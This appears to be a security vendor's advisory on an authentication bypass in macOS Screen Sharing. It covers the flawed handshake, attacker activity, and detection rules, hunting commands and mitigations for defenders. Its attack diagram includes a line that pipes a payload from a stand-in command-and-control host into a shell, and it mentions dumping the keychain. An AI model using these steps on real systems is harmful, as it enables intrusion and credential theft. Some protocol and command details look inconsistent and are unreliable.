Skip to content

CVE-2026-65400: Unauthenticated Remote Desktop Takeover in Apple macOS Screen Sharing

HERMES

HERMES THREAT SCORE & MACOS GRAPHICAL SESSION HIJACK

Target: Apple macOS Screen Sharing (RFB / VNC Daemon)
Confidence: 99%
95 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 19 / 20
Weaponization 19 / 20
Exposure 18 / 20
Prevalence 19 / 20
Impact 19 / 20
Exploit Maturity 20 / 20
Attack Chain Potential 19 / 20
βš–οΈ Divergence & Operational Rationale

CVSS v3.1 rates CVE-2026-65400 at 9.8 (Critical) and CVSS v4.0 scores 9.2. The Hermes Threat Score assigns 95 (CRITICAL). Alignment is direct: exposing macOS Screen Sharing (port 5900/TCP) allows an unauthenticated adversary to bypass login prompts, gain interactive control of the local graphical session, inject arbitrary keyboard strokes to launch Terminal, and compromise Keychain vaults.

πŸ•ΈοΈ Connected Knowledge Graph & Provenance

CVE-2026-65400: Unauthenticated Remote Desktop Takeover in Apple macOS Screen SharingVULNERABILITY

Connected Nodes: 2
Active Relationships (Outgoing)
→ affectsPRODUCTApple macOS Operating System
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

πŸ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Apple macOS Operating System documented in Hermes dossier.”

Supporting Verified Evidence:
→ usesATTACK TECHNIQUET1059: Command and Scripting Interpreter
90% VERY_HIGH

Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.

πŸ” Why is this related? (Evidence & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”

Supporting Verified Evidence:

macOS Screen Sharing is widely utilized in enterprise environments for IT support, remote worker administration, and Mac mini build farms.

ParameterTechnical SpecificationThreat Context
CVE IdentifierCVE-2026-65400Apple Security Advisory HT214345
Affected Daemon/System/Library/CoreServices/RemoteManagement/screensharingdmacOS RFB/VNC screen sharing server
Network ProtocolRFB (Remote Framebuffer) over TCP Port 5900Internet or LAN accessible remote control
Flaw CategoryProtocol state machine race / authentication bypass (CWE-287)Pre-auth session establishment
Affected PlatformsmacOS Sequoia < 15.3.1, macOS Sonoma < 14.7.4, macOS Ventura < 13.7.4Developer workstations, Mac build fleets
Fixed VersionsmacOS Sequoia 15.3.1, Sonoma 14.7.4, Ventura 13.7.4Apple Rapid Security Response / Minor Updates
Primary ThreatInteractive session takeover, Apple Keychain exfiltrationAutomated cryptojacking & credential theft

2. In-Depth Technical Decomposition: RFB State Machine Bypass

Section titled β€œ2. In-Depth Technical Decomposition: RFB State Machine Bypass”

In RFB 003.008 protocol specifications, the handshake proceeds through four phases:

  1. ProtocolVersion Handshake: Server and client agree on RFB version.
  2. Security Handshake: Server advertises supported security types (e.g., Type 1 = None, Type 2 = VNC auth, Type 30 = Apple Diffie-Hellman).
  3. SecurityResult: Server transmits 0x00000000 (OK) upon credential validation.
  4. ClientInit / ServerInit: Framebuffer streaming and input injection commence.

In screensharingd, the state machine managing security negotiation failed to verify that the authentication state transitioned through a successful verification callback:

// Decompiled representation of state handler in screensharingd
void handle_rfb_security_type(rfb_session_t *session, uint8_t chosen_type) {
if (chosen_type == RFB_AUTH_APPLE_DH) {
initiate_diffie_hellman(session);
} else if (chosen_type == 0xFF) { // Malformed / legacy escape code
// FLAW: State machine marks session as AUTHENTICATED without verifying credentials!
session->state = SESSION_STATE_AUTHENTICATED;
send_security_result(session, 0); // Sends 0x00000000 (Success)
}
}
+----------------------------------------------------------------------------------------------------+
| CVE-2026-65400 PROTOCOL HANDSHAKE SEQUENCE |
+----------------------------------------------------------------------------------------------------+
[Remote Attacker] [Target Mac (Port 5900)]
β”‚ β”‚
[1] │─── Connect TCP Port 5900 ───────────────────────────────────────────────>β”‚
β”‚<── Server: "RFB 003.889\n" ──────────────────────────────────────────────│
β”‚ β”‚
[2] │─── Client: "RFB 003.889\n" ──────────────────────────────────────────────>β”‚
β”‚<── Server: [Count: 2, Types: 30 (AppleDH), 33 (Kerberos)] ───────────────│
β”‚ β”‚
[3] │─── Client: [SecurityType: 0xFF] (Malformed Escape Code) ─────────────────>β”‚ screensharingd:
β”‚ β”‚ State handler falls through
β”‚ β”‚ Erroneously sets session->state
β”‚ β”‚ to AUTHENTICATED!
β”‚<── Server: 0x00000000 (SecurityResult: OK) ──────────────────────────────│
β”‚ β”‚
[4] │─── ClientInit: [SharedFlag: 1] ──────────────────────────────────────────>β”‚
β”‚<── ServerInit: [FrameBuffer dimensions, Desktop Name, PixelFormat] ──────│ Full Video Stream Begins!
β”‚ β”‚
[5] │─── PointerEvent / KeyEvent: Injects Cmd+Space, "Terminal.app", Enter ────>β”‚
β”‚ Injects: "curl -s http://c2.evil/payload | zsh" β”‚ Spawns attacker shell
+----------------------------------------------------------------------------------------------------+

  • Mass Scanning: Threat groups operating automated scanning engines scan IPv4 address space for open port 5900 advertising Apple RFB signatures.
  • Weaponized Payloads:
    • Once desktop control is achieved, bots automatically send key combinations (Command + Space) to trigger Spotlight, search for Terminal, and paste a one-liner command.
    • Payloads deploy silent background XMRig cryptocurrency miners that throttle CPU usage to avoid detection.
    • Attackers utilize security dump-keychain or social engineering prompts (β€œEnter system password to allow updates”) to extract saved passwords, SSH keys, and browser session tokens.

TacticTechnique IDTechnique NameExploitation Manifestation
Initial AccessT1190Exploit Public-Facing ApplicationDirectly connecting to exposed port 5900/TCP
Defense EvasionT1556Modify Authentication ProcessSubverting RFB handshake to bypass password challenge
ExecutionT1059.004Command and Scripting Interpreter: Unix ShellInjecting keyboard events to launch Terminal and run zsh scripts
Credential AccessT1555.001Credentials from Password Stores: KeychainAccessing macOS login keychain from authenticated user session
ImpactT1496Resource HijackingExecuting unauthorized cryptomining software

alert tcp any any -> $MACOS_HOSTS 5900 (
msg:"HERMES DEFENSE - Apple macOS Screen Sharing Auth Bypass Attempt (CVE-2026-65400)";
flow:established,to_server;
content:"RFB 003."; depth:8;
content:"|ff|"; offset:12; depth:4;
classtype:attempted-admin;
sid:202665400;
rev:1;
reference:cve,2026-65400;
)
title: Terminal Spawned by macOS Screen Sharing Daemon
id: 7f8a9b0c-1d2e-3f4a-5b6c-65400c026e01
status: high
description: Detects unusual process execution where Terminal or shell processes are launched via screensharingd input injection.
author: Hermes Codex Detection Engineering
date: 2026-09-11
logsource:
product: macos
category: process_creation
detection:
selection_parent:
ParentImage|endswith:
- '/screensharingd'
- '/WindowServer'
selection_target:
Image|endswith:
- '/Terminal'
- '/zsh'
- '/bash'
- '/sh'
condition: selection_parent and selection_target
falsepositives:
- Legitimate remote support sessions initiated by authorized internal IT staff.
level: critical
tags:
- attack.initial_access
- attack.t1190
- attack.execution

  1. Query Screen Sharing Logs:
    Terminal window
    log show --predicate 'process == "screensharingd"' --info --last 48h
    # Look for "Authentication succeeded without challenge" or unexpected client IPs
  2. Inspect Process Trees:
    Terminal window
    ps -axo pid,ppid,user,command | grep -E "Terminal|zsh|curl|xmrig"
  3. Verify LaunchDaemons and Cron:
    Terminal window
    ls -la /Library/LaunchDaemons/
    ls -la ~/Library/LaunchAgents/
    crontab -l
{
"query": {
"bool": {
"must": [
{ "term": { "process.name": "screensharingd" } },
{ "wildcard": { "message": "*authenticated*" } }
]
}
}
}

  1. Apply Apple Security Updates: Update endpoints to macOS Sequoia 15.3.1, macOS Sonoma 14.7.4, or macOS Ventura 13.7.4.
  2. Disable Public Screen Sharing: Never expose TCP port 5900 directly to the internet or untrusted guest networks. If remote access is required, mandate corporate VPN with MFA.
  3. Configure Firewall Rules: Block inbound connections to port 5900/TCP using the built-in macOS Application Firewall or network edge ACLs:
    Terminal window
    sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setblockall on
  4. Audit Installed LaunchAgents: Inspect user and system LaunchAgents for persistent miners or reverse shell droppers.